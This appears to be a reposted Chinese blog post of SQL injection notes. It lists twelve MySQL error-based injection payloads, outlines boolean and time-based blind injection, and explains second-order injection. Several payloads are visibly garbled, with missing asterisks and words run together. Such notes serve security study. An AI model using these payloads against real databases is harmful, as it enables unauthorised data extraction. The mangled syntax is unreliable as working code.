2020-07-17

SQL注入

报错注入语句
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select from(select from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select from(select user() )a)b );
盲注
盲注的基本条件
  1、用户能够控制输入
  2、原程序要执行的代码拼接了用户输入的数据。
盲注的类型
1、基于布尔型:返回true或false
length(str) 返回指定字符串的长度
substr(str,pos,len)/substring(str,pos,len) 返回截取的子字符串
ascii(str) 返回指定字符串最左侧字符的sacii值
2、基于时间盲注:
sleep()延时盲注
  length()函数:返回字符串的长度
  substr(str,pos,num) :截取指定位置指定长度的字符串
  mid(str,pos,num) :截取指定位置指定长度的字符串
  ascii() 查询ascii码中对应的值
 if 判断语句
1、猜数据库长度(第一个语句成立的话,执行第二个语句,否则执行第三个语句)
2.猜数据库名,猜数据库第一位,使用if判断,判断数据库名第一位对应的ascii值。借助burpsuit工具抓包。
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
二次注入和普通注入的区别主要有:
普通注入:
(1)在http后面构造语句,是立即直接生效;
(2)普通注入很容易被扫描工具扫描到。
二次注入:
(1)先构造语句(此语句含有被转义字符的语句);
(2)将我们构造的恶意语句存入数据库;
(3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入);
(4)二次注入更加难以被发现。

猜你喜欢

转载自blog.csdn.net/qq_46172668/article/details/107406578